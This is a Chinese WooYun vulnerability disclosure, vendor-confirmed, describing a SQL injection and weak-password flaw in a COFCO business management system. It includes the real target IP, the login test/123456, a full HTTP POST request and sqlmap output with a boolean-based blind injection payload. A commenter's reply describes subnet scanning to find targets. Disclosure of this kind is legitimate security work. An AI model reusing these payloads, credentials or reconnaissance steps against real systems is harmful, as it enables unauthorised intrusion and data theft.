当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131583

漏洞标题:中粮业务管理系统SQL注入&弱口令

相关厂商:中粮集团有限公司

漏洞作者: missy

提交时间:2015-08-04 16:53

修复时间:2015-09-18 17:22

公开时间:2015-09-18 17:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-04: 厂商已经确认,细节仅向厂商公开
2015-08-14: 细节向核心白帽子及相关领域专家公开
2015-08-24: 细节向普通白帽子公开
2015-09-03: 细节向实习白帽子公开
2015-09-18: 细节向公众公开

简要描述:

拉登给布什发了封信:qs-IHSIN,布什不解,联邦调查局也无能为力,于是将其送至英**情六处,解答是:总统你拿反了,用汉语拼音去读!

详细说明:

http://219.143.252.178/


0.jpg


test 123456


3.jpg


4.jpg


POST /AjaxAction.do HTTP/1.1
Host: 219.143.252.178
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://219.143.252.178/eform/DataAction.do?actionType=query&systemid=sggl003&subsysid=sggl003001&modid=sggl003001001
Content-Length: 520
Cookie: JSESSIONID=FE6781C6993013150E086103790DD25E; loginUserCode=test; allUserCode=admin%2Ctest; PobaLanguageId=zh-cn; login-status=true; test=0; eflow_history_tag=http%3A//219.143.252.178/eform/DataAction.do%3FactionType%3Dgoto%26toPage%3D1%26systemid%3Dsggl003%26subsysid%3Dsggl003001%26modid%3Dsggl003001001%26tagid%3D%26eformshowtype%3D%26eformpagebreak%3Dtrue
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
actionType=query&timestamp=1438671168000&actionType=query&doKey=&eformsysid=sggl003&eformsubsysid=sggl003001&eformmodid=sggl003001001&eformformid=sggl003001002&eformflowid=nhdasbsp&eformname=%3E%3E%26nbsp%3B%E5%86%9C%E6%88%B7%E6%A1%A3%E6%A1%88%E4%B8%8A%E6%8A%A5&eformtype=F&eformactionid=&eformpkey=sno&eformtagid=&eformismulti=&eformtarget=&eformshowtype=&eformschema=none&eformqryarea=&eformsourceurl=&eformoptions=sbuser0%2Csbdate1&eformorderby=&eformselection=&sbuser0=&sbdate1=&dbgrid=&toPage=1&rndval=1438671168111


1.jpg


2.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: sbuser0 (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: actionType=query&timestamp=1438671168000&actionType=query&doKey=&eformsysid=sggl003&eformsubsysid=sggl003001&eformmodid=sggl003001001&eformformid=sggl003001002&eformflowid=nhdasbsp&eformname=>>%26nbsp;%E5%86%9C%E6%88%B7%E6%A1%A3%E6%A1%88%E4%B8%8A%E6%8A%A5&eformtype=F&eformactionid=&eformpkey=sno&eformtagid=&eformismulti=&eformtarget=&eformshowtype=&eformschema=none&eformqryarea=&eformsourceurl=&eformoptions=sbuser0,sbdate1&eformorderby=&eformselection=&sbuser0=%' AND 4889=4889 AND '%'='&sbdate1=&dbgrid=&toPage=1&rndval=1438671168111
---
web application technology: Servlet 2.4, Tomcat 4.2.3.
back-end DBMS: Oracle
current schema (equivalent to database on Oracle): 'TRADE_BUSINESS'


漏洞证明:

修复方案:

参数过滤
口令加强

版权声明:转载请注明来源 missy@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-04 17:20

厂商回复:

非常感谢您的支持!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-19 00:16 | leave ( 路人 | Rank:4 漏洞数:1 )

    @missy 大牛你是怎么找到这个ip的?

  2. 2015-09-19 11:19 | missy ( 普通白帽子 | Rank:414 漏洞数:112 | 要么旅行,要么读书,身体和灵魂,必须有一...)

    @leave 域名解析成IP,把IP C段跑一下。